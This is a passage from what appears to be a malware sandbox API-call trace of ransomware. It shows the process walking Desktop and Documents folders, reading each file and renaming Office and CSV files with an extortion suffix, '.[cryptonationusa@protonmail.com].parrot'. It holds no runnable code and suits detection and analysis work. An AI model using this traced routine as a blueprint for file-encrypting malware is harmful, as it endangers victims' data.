lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.491] CloseHandle (hObject=0x260) returned 1 [0091.491] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.492] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.492] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.493] CloseHandle (hObject=0x258) returned 1 [0091.493] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.493] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.493] CloseHandle (hObject=0x258) returned 1 [0091.494] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.494] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.494] CloseHandle (hObject=0x258) returned 1 [0091.495] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.495] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.496] CloseHandle (hObject=0x258) returned 1 [0091.496] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.496] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.497] CloseHandle (hObject=0x258) returned 1 [0091.497] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.497] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.498] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.498] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.499] CloseHandle (hObject=0x284) returned 1 [0091.499] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.499] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.500] CloseHandle (hObject=0x284) returned 1 [0091.500] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.500] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.500] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.501] CloseHandle (hObject=0x260) returned 1 [0091.501] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.501] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.501] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.502] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.502] CloseHandle (hObject=0x284) returned 1 [0091.502] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.502] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.503] CloseHandle (hObject=0x284) returned 1 [0091.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.503] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.504] CloseHandle (hObject=0x284) returned 1 [0091.504] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.505] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.505] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.505] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.505] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.506] CloseHandle (hObject=0x284) returned 1 [0091.506] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.506] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.507] CloseHandle (hObject=0x284) returned 1 [0091.507] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.507] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.508] CloseHandle (hObject=0x284) returned 1 [0091.508] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.508] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.508] CloseHandle (hObject=0x284) returned 1 [0091.509] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.509] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.509] CloseHandle (hObject=0x284) returned 1 [0091.510] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.510] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.510] CloseHandle (hObject=0x284) returned 1 [0091.511] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.511] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.511] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.511] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.512] CloseHandle (hObject=0x258) returned 1 [0091.513] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0091.514] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0091.514] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.514] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.515] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.515] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.515] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa5c7, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xa5c7, lpOverlapped=0x0) returned 1 [0091.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.517] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.518] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7Qv9bnGTBGHi9uBXv04.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7qv9bngtbghi9ubxv04.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7Qv9bnGTBGHi9uBXv04.xlsx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7qv9bngtbghi9ubxv04.xlsx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.522] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.522] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.523] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.523] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13cf1, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x13cf1, lpOverlapped=0x0) returned 1 [0091.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.526] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.527] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\84LRsIDlO.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\84lrsidlo.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\84LRsIDlO.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\84lrsidlo.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.530] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.530] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.531] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.531] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4a90, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x4a90, lpOverlapped=0x0) returned 1 [0091.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.534] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.534] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\89fbWGBybR4AU2UEni.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\89fbwgbybr4au2ueni.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\89fbWGBybR4AU2UEni.xlsx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\89fbwgbybr4au2ueni.xlsx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.537] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.538] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.538] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.538] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x976f, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x976f, lpOverlapped=0x0) returned 1 [0091.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.540] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.540] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\a-K2FfS7.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-k2ffs7.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\a-K2FfS7.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-k2ffs7.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.544] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.544] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.544] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.545] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcd7d, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xcd7d, lpOverlapped=0x0) returned 1 [0091.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.546] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.546] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ap5TvqUw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ap5tvquw.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ap5TvqUw.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ap5tvquw.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.551] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.551] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.552] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.552] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe330, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xe330, lpOverlapped=0x0) returned 1 [0091.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.553] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.554] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AvLKNArBQyo_9.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\avlknarbqyo_9.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AvLKNArBQyo_9.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\avlknarbqyo_9.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.557] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.557] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.558] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.558] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xded5, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xded5, lpOverlapped=0x0) returned 1 [0091.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.558] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.559] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CaTz9rt.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\catz9rt.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CaTz9rt.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\catz9rt.csv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.562] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.562] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.563] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.563] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3184, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x3184, lpOverlapped=0x0) returned 1 [0091.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.563] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.565] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dVK5gUikDH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dvk5guikdh.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 